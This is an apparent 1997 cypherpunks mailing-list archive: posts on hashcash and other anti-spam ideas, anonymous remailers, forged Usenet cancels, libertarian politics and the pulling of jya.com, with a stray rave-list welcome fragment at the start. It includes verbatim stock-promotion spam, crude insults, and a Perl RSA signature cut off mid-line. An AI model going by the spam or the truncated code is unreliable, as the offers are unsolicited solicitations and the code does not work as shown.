        want to use an address other than the one shown in the "From:"
        line of the message.  If at any time you want to unsubscribe
        or delete your name from the list (we would miss you) the line
        would be "del socal-raves".  If you need help send a message
        with the line "HELP" and you will get a help file on how to
        use the listserv.

      - Administrative problems about the list should be sent to
        socal-raves-relay at ucsd.edu and Vigor Mortis, list administrator
        extraordinaire, will take care of you.

      - Any other SoCal-Raves list questions and rave info (for the
        calendar) should go to me at underdog at netcom.com

      Some info about me.  When I started college about a five years
ago I was intrigued by industrial music that was nameless to me at the
time.  Within a year or two I was doing an industrial radio show and
going to underground clubs that played everything from acid house to
industrial danse.  Although many of these clubs were illegal, there
was not a lot of hype, and they were definitely better than the L.A.
club scene (which always seemed to me to be one big pickup joint/ meat
market).  They were basic.  Raw.  Even tribal.  Full of energy.  They
gave me a place to dance without feeling pressured to ask some woman
to dance with me who could care less.  I really wanted to start a
"gypsy club" of my own in Orange County.  Not for profit, just so that
people might have a local place to go.  But too many things and people
conspired against me.
     Then the word "rave" came into existence and shortly following
808 State's new album.  It seemed to me that all the energy of
Industrial, and the groove of Acid House was forming a new "Techno"
genre and a new scene.  This was a fresh injection of energy.  The
underground parties grew up.  There was new hype and new ideas.  More
of my friends came with me to rave.  And the birth of a new radio
station helped expand the scene.
      It was fun and still is.  But the radio station died.  The scene
mostly caved in on it's own weight (hype and greed only go so far).
Big raves that I paid good money for didn't happen.  And we are left
with what?
      There is still that sense of acceptance.  The sense of unity and
anything goes.  And I think we are starting to come back to that old
feeling of community and being a part of something again.  This summer
a few friends and I were even able to throw a few free outdoor raves.
Though small, these were to be the start of a regular thing for the
summer but the fourth one got busted and we stopped.  I'm hoping that
it will happen again though (legally :).
      The underground scene here always seems to be able to recreate
itself.

      Remember,the rave scene is for and about the people.  About
individual empowerment.  Where an artist in a bedroom can get as big
as the world will allow and where 'people' not 'person' are the center
of attention.

      Big thanks go out to Brian (Vitamin B) and the SFRaves mailing
list for inspiration, Dana Watanabe my co-conspirator in raves and
other things, and Andy Ferrell (Vigor Mortis) for administrating and
offering a place for the SoCal-Raves list.

      I hope you enjoy this list as much as I do.
      Peace and Love.  And may you find a rave wherever you are.

Joachim

From aba at dcs.ex.ac.uk  Sun Aug  3 03:40:31 1997
From: aba at dcs.ex.ac.uk (Adam Back)
Date: Sun, 3 Aug 1997 18:40:31 +0800
Subject: no government regulation of the net (was Re: bulk postage fine)
In-Reply-To: 
Message-ID: <199708031023.LAA00663@server.test.net>

David Formosa  writes:
> On Sun, 3 Aug 1997, Adam Back wrote:
> 
> > David Formosa  writes:
> 
> [...]
> 
> > > The best soultion given so far is Cause's suggestion of modifying
> > > the fax law so that we can sue the spammers.
> > 
> > Law, and suing and the internet don't mix.
> 
> You got to be jokeing, what about alomost every AOL vs. Cyberpromo or
> Compuserve vs. Cyberpromo or all thouse other ISPs against Cyberpromo.

It happens, but IMO it's an inefficient dumb way to go about business.
The more modern net based enterprises will use more efficient
non-governmental solutions, and their more efficient conflict
resolution mechanisms will allow them to out-price, and eventually
cause the dinosaurs to go bankrupt, or to adopt similarly efficient
approaches.

Government backed legal systems are inefficient.  A purely anonymous
transaction where both parties identity is well concealed is much more
efficient.  There is no one to sue.  Fighting legal suits is
expensive, especially in the US.

The high rates go to the unproductive members of society, government
court officials, over-priced lawyers, etc.  This drives up all prices
through insurance premiums.  The company has to pass on the cost of
the legal system to their clients.

Mutually negotiated arbitration as part of the contract of sale is
much more efficient.  Third party arbitrators holding with a copy of
the contract, a deposit from each party in escrow, and a reputation as
a fair arbitrator is much more efficient.  Either party breaks the
contract as decided by the arbitrator and they loose their deposit.

Some people are using arbitration services now as an alternative to
the government legal system.  This is a form of automatic
privatisation of the legal system.  The government legal systems are
facing free market competition.

It'll probably help if the arbitration service is anonymous also, else
some idiot will fall back to the government backed legal system and
raise the prices of arbitration through the insurance costs they'll
have to factor in case of being themselves sued in a government court.

> > Eg. Say I spam you via an anonymous remailer.  So now who are you
> > going to sue?
> 
> The spammers if there advertising a servese will need someway for me to
> contact them.  Some way for me to get the goods.  Just anonomising the
> email will not hide there identy.  

True.  But how do you prove to one of these inefficent government
courts that it is indeed the spam beneficiary who posted the spam.

What if he says "I didn't do it"?  He's probably right, he probably
paid Spamford to do it for him.  Or perhaps someone doesn't like the
company and does a spam with their contact information just to cause
them trouble?  I'm sure it's happened before.

I'm not sure it's so easy to identify the spammer.  You can't sue the
person who's number is at the bottom.  What about the politician who's
home phone number got spammed to alt.sex.* as a phone sex number.

So to the government mentality when they bump into this problem, it
means that they will try to prevent anonymity.  They'll want you to
use their new fangled PKI to have either no anonymity, or else
escrowed anonymity, where the government gets to see who everyone is.

> Any way pushing spammer email though most email remailers will cause
> them to crash from sheare volume.

That's also not a good thing.

The danger with using government to attack spammers, is that this is
the net, and we don't want governments involved in regulation of
content, nor in attempting to enforce "identity escrow", "internet
drivers licenses" or anything else.

This is the likely long term or even possibly short term outcome of
calling for help from government to sort out spammers.

We can sort them out ourselves without the need of government
intervention, thanks kindly.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0

       INVESTORS, BROKER/DEALERS, AND BUSINESS OWNERS!

     The Global Stock Exchange  has a new service on the web that will alert 
you to new and promising issues as well as exciting ipos, secondary offerings, 
and private offerings.  If you would like us to keep you informed by way of 
short messages pointing you via hot link to issues on the web, click on 
our hot link below, visit our site, and sign up for the service you choose!  
It's free, fast, easy, confidential, and we think you'll be glad you took 
a moment to fill out our simple form at:   GSE1.

     The Global Stock Exchange also deals with mergers, acquisitions, and 
in taking companies public.  If you have an interest in going public or 
merging your public shell, visit:   GSE2.

     For funding options visit:   GSE5.

Thank you,  
John, Kevin, and Crew at
The Global-Stock-Exchange

     If this message offends you in any way, please accept my apology for 
disturbing you.   Just reply to   GSE  
 with "remove" in the Subject or the Message section of the reply mail and
 your name will be removed from our database.

     To be globally removed from all lists go to   IEMMC.

From 53573730 at usa.net  Sun Aug  3 18:41:00 1997
From: 53573730 at usa.net (53573730 at usa.net)
Date: Sun, 3 Aug 1997 18:41:00 -0700 (PDT)
Subject: Investing on the Web?
Message-ID: <>

       INVESTORS, BROKER/DEALERS, AND BUSINESS OWNERS!

     The Global Stock Exchange  has a new service on the web that will alert 
you to new and promising issues as well as exciting ipos, secondary offerings, 
and private offerings.  If you would like us to keep you informed by way of 
short messages pointing you via hot link to issues on the web, click on 
our hot link below, visit our site, and sign up for the service you choose!  
It's free, fast, easy, confidential, and we think you'll be glad you took 
a moment to fill out our simple form at:   GSE1.

     The Global Stock Exchange also deals with mergers, acquisitions, and 
in taking companies public.  If you have an interest in going public or 
merging your public shell, visit:   GSE2.

     For funding options visit:   GSE5.

Thank you,  
John, Kevin, and Crew at
The Global-Stock-Exchange

     If this message offends you in any way, please accept my apology for 
disturbing you.   Just reply to   GSE  
 with "remove" in the Subject or the Message section of the reply mail and
 your name will be removed from our database.

     To be globally removed from all lists go to   IEMMC.

From aba at dcs.ex.ac.uk  Sun Aug  3 03:42:54 1997
From: aba at dcs.ex.ac.uk (Adam Back)
Date: Sun, 3 Aug 1997 18:42:54 +0800
Subject: socialism = facism (was Re: non-censorous spam control)
In-Reply-To: 
Message-ID: <199708031002.LAA00626@server.test.net>

David Formosa  writes:
> On Sat, 2 Aug 1997, Steve Schear wrote:
> > I can't fuly agree. In Europe, both communism and fascism started from the
> > socialists (in fact, the fascist were called National Socialists)
> 
> The fascists called themselves Socialists for the same reson that the
> main pro logging group calls themselfs _The Forest Protection Socity_ as a
> returorical techneek to sucker peaple.

Socialism tends to lead to a fascist society.

> > and both accept the "... idea of a political party which embraces all 
> > activities of the individual from the cradle to the grave, which claims
> > to guide his views on everything, and which delights in making all
> > problems questions of party...," F.A. Hayek, The Road to Surfdom.

That's a reasonable expose' of the similarities.

> Replace political party with free market and you get the econmic
> reationalisum/thatureisum that has chocked socity.  The freandly
> socilisum that both the GNU mannifesto and most of the net works on
> has no such totalitarian tendencies.

The free market is much closer to the freedom of the net than you
might imagine.

eg. Socialism says that the state will steal from by force (guns,
imprisonment, etc follow quickly if you resist the theft) to give to
others who `need'.  Needs are unbounded.  How do you measure `need'?
By who has the most expensive lobyists, who can afford to pay the
highest bribes to politicians?  By who is the laziest and has allowed
their personal affairs to slip into the most disgraceful state.

In a free market economy such `needs' are met by charity.  People give
of their own free will, and give to charitable organisations that they
view as the most efficient at handling the causes they individually
think worthy.

If people don't want to give to this charitable cause, well then it
isn't worth supporting, to them.  If you have to take their charity
and gun point, it isn't charity, it's theft.

Socialism is based on theft.  So is Fascism.  It's forced labour, or
at least forced theft of assetts.

`Social contract' foo.  What social contract did I sign with the
crooks milking the political system?

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0

I like it when spam is sent to the cpunks list because it makes the list
less accessible to lamers and wanna-be censors while not really
hurting its value to people who are familiar with configurable/
scriptable mail agents.

(Heck, I've considered 99% of cpunks traffic to be about the
same flavor as spam on my palate for years, so I'm already
comfortable with using heavy filtering as a matter of course.)

In other news, I'm going to  HIP  
and I'm thinking I should have a t-shirt made to piss off the
self-righteous socialist anti-spam activists.  My favorite 
slogan so far is "I may disagree with every spam you send, but
I will defend to the death your right to spam it. --Voltaire".
I consider this to be a powerful meme to broadcast at those
low-tech lawmongers, but it isn't sufficiently.. um.. offensive.
Any suggestions from the peanut gallery?

Of course I have to include my e-mail address on the shirt so
that those who are offended by my advocacy of absolute freedom
of speech can try to mailbomb me.

Over,

Zooko

From nobody at REPLAY.COM  Sun Aug  3 05:06:28 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Sun, 3 Aug 1997 20:06:28 +0800
Subject: tcs_gateway2.treas.gov (IRS Harrassment of Cypherpunks List?)
Message-ID: <199708031153.NAA04031@basement.replay.com>

After failing to find in the list archives previous posts from the
treas.gov address I was surprised to come across an example in a book
about the cypherpunks that was sent to the list some months ago.
Although I seem to recall this post as being authentic I am unable to
confirm this since my browser doesn't seem to be getting along with the
search engines for some reason or another. Can anyone confirm that the
message below is an authentic message that was sent to the list at the
time stated and with the same message ID? The reason I ask is that I
have found and corelated messages from the same server which indicate
that if the message came to the list with the message ID below then it
was indeed composed and initially sent the day before the article quoted
actually appeared in the newspaper.
If someone could confirm that the following message appeared on the list
with the same header as indicated below I would appreciate it.
(There are some other strange discrepancies I have found in Jim Bells
case too but I will refrain from commenting until I have had a chance to
confirm them.)

The message as portrayed in the book is as follows:
Received: (from majordom at localhost) by toad.com (8.7.5/8.7.3) id
RAA03183 for
cypherpunks-unedited-outgoing; Wed, 2 Apr 1997 17:40:11 -0800 (PST)
Received: from tcs_gateway2.treas.gov (tcs-gateway2.treas.gov
[204.151.246.2]) by toad.com (8.7.5/8.7.3) with
SMTP id RAA03178 for ; Wed, 2 Apr 1997 17:40:04
-0800 (PST) 

From: IRSNWPR at net.insp.irs.gov
Date: Tue, 1 Apr 1997 15:18:46 -0500
Message-Id: <199704012018.PAA00555 at net.insp.irs.gov> 

To: Interested_Parties at net.insp.irs.gov
Subject: Something of interest... 

Sender: owner-cypherpunks at toad.com

The Oregonian, Wednesday, April 2, 1997 

20 armed federal agents raid home in Vancouver 

By John Painter Jr. of The Oregonian staff

VANCOUVER, Wash. - About 20 armed agents from at least three federal 
agencies in four states raided a Vancouver home Tuesday, apparently 
looking for evidence of a plot to kill government officials. 
....

From jya at pipeline.com  Sun Aug  3 05:17:47 1997
From: jya at pipeline.com (John Young)
Date: Sun, 3 Aug 1997 20:17:47 +0800
Subject: CIA Report on UFOs
Message-ID: <1.5.4.32.19970803115839.00694808@pop.pipeline.com>

The New York Times reports today on a declassified
CIA report on UFOs which discloses that over half
of the public sightings in the 1950s and '60s were lied 
about by the US Government to protect dark secret spy 
planes and programs, primarily those of the U-2 and 
SR-71. "The admission raised questions about other 
Federal cover-ups involving U.F.O.s."

The CIA report is at:

   http://www.odci.gov/csi/studies/97unclas/ufo.html

For those who wish to avoid the CIA Web site, we put a copy at:

   http://jyx.com/ciaufo.htm

The NYT Web site:

   http://www.nytimes.com

In you cannot access it, see the story at:

   http://jyx.com/ufonews.htm

From aba at dcs.ex.ac.uk  Sun Aug  3 05:33:31 1997
From: aba at dcs.ex.ac.uk (Adam Back)
Date: Sun, 3 Aug 1997 20:33:31 +0800
Subject: bulk postage fine (was Re: non-censorous spam control)
In-Reply-To: <199708030302.XAA08565@cti06.citenet.net>
Message-ID: <199708031129.MAA00973@server.test.net>

jf_avon at citenet.net writes:
> On  3 Aug 97 at 2:34, Adam Back wrote:
> > Eg. Say I spam you via an anonymous remailer.  So now who are you
> > going to sue?
> >
> > Spammers use remailers already.
> > 
> > So your suggest has dire consequences for remailers.
> 
> What you would sue is the entity that is advertized in the 
> message, not the ISP (or remailer)  of course.  If you get harassing 
> mail through the paper mail, would you sue the postal service?

Here's the sequence of events as I see it:

 1. spammer spams you with adverisement for phone sex line
 2. you try to sue phone sex line company
 3. phone sex company denies all knowledge
 4. government says all email must be authenticated 
 5. government issues internet drivers license
 6. anonymous remailers work around authentication requirement
 7. government outlaws remailers

See any flaws in that logical and undesirable sequence of events?

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0

At 01:56 97/08/03 -0600, Toto wrote:

>   It is clearly up to Joichi Ito to decide how he can best work toward
> cypherpunk goals under his system of government, but he would do well
> to listen to those on the list who have seen more than a few crusaders
> sink into the swill when they make the mistake of talking to the piggies
> too close to the trough.
>   A good sign that you have not yet been co-opted is if you still take
> that "extra" briefcase to the meetings, just in case.
> {"I've got to run out to my car for a moment with my briefcase, but I
> will be leaving my _other_ briefcase here." }
> 
> TruthMonger

Point well taken. I understand that it is easy to get misdirected
when you are "dancing with the devil"... Currently, as one of the primary
supporters of privacy and free access to cryptography in Japan, I have much
more
to lose and very little to gain from being "co-opted." by "the bad guys" (who
aren't looking out for the interests of the people).  In addition, although
the Japanese Self Defense Force may be militaristic (they are the military
so they probably are pretty militaristic), Japan does not have the
equivalent of the NSA. It really is in Japanese national security interests
to consider minimizing risk by distributing it since they obviously do not
have the ability to control it in the way that the US does. Anyone who
has been following the statements by the Japanese at the OECD should
note that Japan has alway lagged behind in supporting government control
of crypto. In addition (although this article is very seldom sited in actual
cases) the Japanese constitution provides for privacy of communications
for citizens. Also, most of the crypto technology is held in private
companies.

Really, what I am try to do is two things:

1) Make sure that Japan makes the right decision about crypto policy so
that they do no stifle commercial development of crypto or put at risk
national and individual security/privacy by implementing a weak system because
of political pressure or domestic surveilance requirements.

2) Make sure that Japan does not repeat the US "Hacker Crackdown" and
more recent Australian crackdowns which I think can cause a rift between
hackers and society. Right now I think the risk of weak security from
the point of view of IWar and just plain network failure is much more
important
than cracking down on hackers/crackers. I'm trying to head off such
"crackdown"
movements by trying to put threats and risks into perspective at the National
Security level and take the focus away from the activities of hackers who
I think can help improve security and lower risks in the long term.

As for Tim's message... I keep worrying (when I am in Japan) that I'm too
radical, so it's nice to hear from someone who is really hardcore to put
a wimp like me in my place. ;-P

I guess I still believe in trying to redirect the process of government before
"dropping out"... I'm not making it any easier for the "bad guys" giving them
my opinion and I can alway "drop out" when I think no one's listening
anymore...

Anyway, I'm going to stop writing now before all of the government people
reading this list decide to put me in their kill file. Then no one will be
listening
to me. ;-P

- Joi

P.S. I wrote an article in the Daily Yomiuri about a year ago that outlines
where I am coming from. Please take a look if you are interested. The
Daily Yomiuri is a national Japanese newspaper.

--
Finger jito at nsm.eccosys.com or jito at garage.co.jp for PGP Key
Fingerprint for RSA PGP Key ID 0x0EE23A2D
0D3A 7AAA 3DA8 E7B3  3AF1 C6FA B7ED D834
Fingerprint for DSS/Diffie-Hellman PGP Key ID 0x2D9461F1
58F3 CA9A EFB8 EB9D DF18  6B16 E48D AF2A 2D94 61F1
Home Page: http://domino.garage.co.jp/jito/joihome.nsf
To subscribe to my personal mailing list send mailto:friends-subscribe at ito.com

From adejoode at replay.com  Sun Aug  3 06:21:57 1997
From: adejoode at replay.com (Alex de Joode)
Date: Sun, 3 Aug 1997 21:21:57 +0800
Subject: spam is good for you
Message-ID: <199708031314.PAA13935@basement.replay.com>

Zooko Journeyman sez:

[..]
: In other news, I'm going to  HIP  
: and I'm thinking I should have a t-shirt made to piss off the
: self-righteous socialist anti-spam activists.  My favorite 
: slogan so far is "I may disagree with every spam you send, but
: I will defend to the death your right to spam it. --Voltaire".

Hehe, bring me such a T-shirt *g*

: I consider this to be a powerful meme to broadcast at those
: low-tech lawmongers, but it isn't sufficiently.. um.. offensive.
: Any suggestions from the peanut gallery?

--
 -aj-

From jya at pipeline.com  Sun Aug  3 06:54:14 1997
From: jya at pipeline.com (John Young)
Date: Sun, 3 Aug 1997 21:54:14 +0800
Subject: Banished JYA
Message-ID: <1.5.4.32.19970803133307.006e49b4@pop.pipeline.com>

From: http://jyx.com/index.htm

JYX

3 August 1997

This site, JYX.COM, was set up on July 26, 1997 to substitute for 
JYA.COM which vanished on July 24, 1997, and thereby denied access 
to the site's architectural and public services. For a week technical 
and sales personnel of the ISP for JYA, AOL/PrimeHost, could not 
explain the disappearance.

On August 1, 1997, AOL/PrimeHost representative Steven Graham 
stated that JYA.COM had been "intentionally pulled" for undisclosed 
reasons. Mr. Graham's telephone: (703) 265-4464.

Reinstitution of JYA's architectural and public services should occur 
shortly, either by restart of JYA.COM with PrimeHost, or via another 
ISP. In the event that AOL/PrimeHost pulls JYX as well, announcement 
of alternative hosting and reasons for the change will be made on 
several mail lists:

   and other lists and news groups as appropriate. 

This site is hosted by PrimeHost, which provided excellent service 
for JYA.COM for a year -- until now with this mysterious vanishing 
action.

------------------------------------------------------------------

                       Vanished JYA.COM

Denied Services                     Denied Files (80MB)

Architectural 

   Natsios Young Architect � �      http://jya.com/nya.htm
   John Young Architect             http://jya.com/jya.htm

Public / Urban Deadline

   Cryptography Archives            http://jya.com/crypto.htm
                                    http://jya.com/cryptomb.htm

   Architectural Archives           http://jya.com/arch.htm

------------------------------------------------------------------

For now offering only: Cryptox.htm

From aba at dcs.ex.ac.uk  Sun Aug  3 06:56:21 1997
From: aba at dcs.ex.ac.uk (Adam Back)
Date: Sun, 3 Aug 1997 21:56:21 +0800
Subject: http://jya.eternity/? (was Re: JYA Axed)
In-Reply-To: <1.5.4.32.19970802003043.006cb0a8@pop.pipeline.com>
Message-ID: <199708031339.OAA02898@server.test.net>

John Young  writes:
> The ISP for jya.com, PrimeHost, an AOL subisidiary, has axed
> the site.
> 
> [...]
> 
> Finally, a Boss was reached who said the site was "intentionally pulled." 
> He claimed that it was "not a serious problem, so don't be alarmed," 
> and sang cheerily about "some files" without elaboration.
> 
> Maybe more next week, and we pray it turns out to be hysterically
> alarming and not merely a pissed Intel Prop owner seeking pay.

If/when you do figure out what files it was that upset them, perhaps
we can put them in the distributed eternity www-based data haven.

Then tell them to go censor:

	http://jya.eternity/

(Should be fun to watch them try to "take down" a web document that is
scattered across millions of USENET news spools.  If any particular
eternity server operator gets hassled, the attention will cause a
feeding frenzy of new eternity servers springing up, much like the
attempt at censoring Radikal, only the documents will still be sitting
there in the document store, and there won't even be a glitch in
access.)

> JYX.com is still up, thanks to PrimeHost's autosub. Ten files there
> -- so far.

Current eternity servers:

	http://www.replay.com/aba/eternity/
	http://www.zipcon.net/~enoch/

(Thanks to the person who suggested in email the idea of mirroring
whatever it was primehost are trying to censor on jya.com).

[jya: do you still have all materials that were on jya.com?]

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0
Message-ID: <199708031328.OAA02875@server.test.net>

sar  writes:
> At 06:32 AM 8/3/97 +1000, ? the Platypus {aka David Formosa} wrote:
> 
> >-----BEGIN PGP SIGNED MESSAGE-----
> >
> >On Sat, 2 Aug 1997, Adam Back wrote:
> >
> >> Next we choose a threshold say 1000 posts per day.  Seems hard to
> >> imagine anyone generating manually over 1000 emails per day.  That's
> >> more than 1 per minute for a 10 hour day.
>
> Take bugtraq which has over 12,000 subscribers. Each post to bugtraq would
> send out 12,000 emails so it would cost aleph one 1200$ per post to his
> list. I dont think anyone would want to run a mailing list under these
> sorts of conditions.

The way such pay for email systems as I see them would interface with
your existing email system is that you would have a list of addresses
which you would be happy to receive email from for free.

Clearly a the list address for a list you subscribed to is an address
you would put in your "receive email without postage" list.

Mail from email addresses not on this list would be expected to
include a valid 0c postage stamp.  If they don't include the postage
the mail gets bounced together with a nag about installing the system,
and possibly a manual way for them to send you the email in spite of
the system

(Note most spammers use non-replyable email addresses, because they
don't want you to know their ISPs address, because their ISP will yank
their account as soon as they figure out what they're up to.)

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0
Message-ID: <3.0.2.32.19970803102828.0076fa60@panix.com>

-----BEGIN PGP SIGNED MESSAGE-----

At 09:29 AM 8/2/97 -0700, Kent Crispin wrote:

>In more general terms: A "free market" fundamentally grants more
>control to those with more money.  

In a free society, the "poor" have more money (collectively) than the rich 
and outbid them for resources all the time.  Were this not so, communities of 
the "poor" would never increase in size and yet they do.  

It is also much easier for the poor to get money in a free society than for 
the powerless to get power in the sort of societies you favor.

I can teach a poor person in America today the simple ways to triple or 
quadruple his income.  I could not teach a resident of France or Germany or 
Japan a simple way to triple or quadruple his "influence" on his government 
and indeed a tripling of such influence would give him much less than a 
tripling of income.

DCF
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBM+SVioVO4r4sgSPhAQGyDQP/dw4k0gI0clP6GbIVkFuTS/Whzfk7DHBV
uVtmQtUdNWbKq6SE2uPseLM09wc90qW55T6/B79RefvZr8sHP5UjS+1plC4sYekl
S0p5G1Gpw5sQKlngPctD1ORB/H6w2fE7/U+nnYWj+CAIDAptFp1A+sFIdyuSMGh8
i13liebFXuY=
=9d/g
-----END PGP SIGNATURE-----

From paul at fatmans.demon.co.uk  Sun Aug  3 07:56:56 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Sun, 3 Aug 1997 22:56:56 +0800
Subject: non-censorous spam control (was Re: Spam is Information?)
In-Reply-To: <199707312017.QAA05673@jafar.issl.atl.hp.com>
Message-ID: 

> > I agree.  If charging for mail would eliminate spam, then I should not
> > be getting the mailboxfull of physical junk mail I receive every
> > morning.  Postage benefits the MAIL CARRIER, not the recipient, and it
> > is in the best interests of the mail carrier to carry MORE mail, not
> > less.  So, e-postage will almost certainly cause more spam, not less. 

Hashcash is a more elegant and simple solution to UCE: most UCE is sent 
by small companies looking for a cheap way to get big exposure, they 
aren`t going to have the hardware to generate partial hash collisions for 
every address they want to mail, it would be prohibitively expensive for 
them to buy fast hardware to generate the collisions. Of course large 
companies who can afford to buy, or already have, mainframes will be able 
to send UCE, but most large companies are smart enough to realise that 
with the response rate gained from UCE, the reputation capital lost 
through sending it, and the valuable mainframe time used to generate the 
hashcash, it all adds up to a big shit sandwich.

Adam Back:   I haven`t read the hashcash paper/description for a while, 
can you give us some figures on how much processor time is required to 
generate hashcash for a 10,000 recipient spam, for n recipients?

Sudden and very exciting idea:

What if we could find a way to make the amount of hashcash required grow 
exponentially with the number of recipients? Of course the spammer could 
then find the optimum number of recipients and divide the list of 
addresses to be spammed into blocks of that size but that is a waste of 
sendmail time, also a waste of bandwidth and the overall time would 
probably still be prohibitively high.

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"

From frissell at panix.com  Sun Aug  3 08:01:27 1997
From: frissell at panix.com (frissell at panix.com)
Date: Sun, 3 Aug 1997 23:01:27 +0800
Subject: bulk postage fine (was Re: non-censorous spam control)
In-Reply-To: <199708030302.XAA08565@cti06.citenet.net>
Message-ID: <3.0.2.32.19970803105321.039744cc@panix.com>

-----BEGIN PGP SIGNED MESSAGE-----

At 12:29 PM 8/3/97 +0100, Adam Back wrote:

> 5. government issues internet drivers license

Lacks authority.  Would have to figure out some way to get IETF to adopt its 
model, get software written, get enough hosts to adopt new software.

Rough.

Because after all those steps are taken, I can still sell anonymous accounts 
with virtually no risk of effective punishment.

DCF
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBM+SbYIVO4r4sgSPhAQHuKgQAl/K2ZEu7bgUzRzRQfn2r5zbaz6hl7SkP
E3vNnGZ1sYIVpX8yloKQ4d/q3K6+ZydouR6W8eaz5MYvz629clRX6gDUKio7QN6Q
6mVi5W79EsU1Jdx+MNQysT19mPgdC/To9Lm3kq/LJiSJYTyXr2qkXmHIwj72oT2k
xYLL3CsAlws=
=tpUt
-----END PGP SIGNATURE-----

From paul at fatmans.demon.co.uk  Sun Aug  3 08:12:20 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Sun, 3 Aug 1997 23:12:20 +0800
Subject: forged cancels (Re: Entrust Technologies's Solo - free download)
In-Reply-To: 
Message-ID: 

> > > Not even forgeries in my name?  Not even out of the control spews from
> > > fidonet?
> > 
> > Correct.
> 
> Ok so if a mailing list gateway @bwalk.dm.com pumps thousands of broken
> posts into usenet you don't wish them to be removed from usenet?

That would be for Dimitri to decide for himself, and not for some 
cocksucker to take a unilateral decision on. Of course disabling cancels 
on all news-servers would mean such a freak article couldn`t be 
cancelled, even by it`s author, but that is better than having the cabal 
removing genuine articles because they don`t like the content.

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"

From paul at fatmans.demon.co.uk  Sun Aug  3 08:15:33 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Sun, 3 Aug 1997 23:15:33 +0800
Subject: Entrust Technologies's Solo - free download
In-Reply-To: <199707311958.MAA25081@kachina.jetcafe.org>
Message-ID: 

> My point of focus is freedom. Deleting others' messages is not
> justifiable for -any- reason, IMO. If you have a problem with what
> is sent, you should take it up with the source of the transmission.
> The carriers of that transmission cannot care about the content and
> still profess to be "free" in any way.

To give another perspective I see it this way:

Forging cancels for articles is just another form of speech, there is no 
crime in forging a cancel.

Accepting cancels as a newsadmin is no crime as it is private equipment 
and you can censor what the hell you want on your own news servers.

This is not to say either of these actions is to be condoned, merely that 
cancel-forgers are only exercising their right to free speech. 

Of course Chris lewis and all the other cancel-forgers are cocksuckers, 
and newsadmins who accept cancels are fools, but hey, there are fools and 
cocksuckers in every walk of life. Don`t like it? find and ISP that 
doesn`t accept cancels, most clued-up newsadmins just set the s/w to
ignore them.

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"

From owner-cypherpunks  Sun Aug  3 23:43:12 1997
From: owner-cypherpunks (owner-cypherpunks)
Date: Sun, 3 Aug 1997 23:43:12 -0700 (PDT)
Subject: Boost Your Sales With 40 Million New Prospects!
Message-ID: <199702161035.GAA08056@bizproplus.com>

To be removed from our email list, send a blank email to 
      remmee at answerme.com
We will also send you the URLs of two sites where you can go to have your 
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From adejoode at replay.com  Sun Aug  3 09:02:48 1997
From: adejoode at replay.com (Alex de Joode)
Date: Mon, 4 Aug 1997 00:02:48 +0800
Subject: jya.com
Message-ID: <199708031551.RAA29954@basement.replay.com>

It seems that replay.com has a partial mirror of jya.com last update was
March 14th, so any docs uploaded after that date on jya.com are not
available.

URL: http://www.replay.com/mirror/jya.com

Enjoy.
-Alex

From travel23 at juno.com  Sun Aug  3 09:06:58 1997
From: travel23 at juno.com (The Traveler)
Date: Mon, 4 Aug 1997 00:06:58 +0800
Subject: Info on House members
Message-ID: <19970803.115119.3990.0.travel23@juno.com>

    WASHINGTON (AP) - Civic-minded Web surfers can review reams of
information about the House - from members' financial disclosure
statements to historical information and archives - courtesy of a new
resource center that launched a site Wednesday on the Internet.
      ``This creates a whole new world,'' said House Speaker Newt
Gingrich,  R-Ga., who helped dedicate the Legislative Resource Center in
a converted storage room beneath the rotunda of the Cannon House Office
Building.
      It combines the functions of several previously separate offices,
including  the House Library, the Office of the House Historian and the
House Document Room, to provide one-stop shopping for information about
the House of Representatives.
      Visitors can also conduct research in person at the office.
      The Internet address is http://clerkweb.house.gov.

--------------
"Sometimes you're the bug, sometimes you're the windshield."

From declan at well.com  Sun Aug  3 10:21:08 1997
From: declan at well.com (Declan McCullagh)
Date: Mon, 4 Aug 1997 01:21:08 +0800
Subject: PICS and intellectual freedom FAQ
Message-ID: 

---------- Forwarded message ----------
Date: Sun, 3 Aug 1997 10:04:04 -0700 (PDT)
From: Declan McCullagh 
To: fight-censorship-announce at vorlon.mit.edu
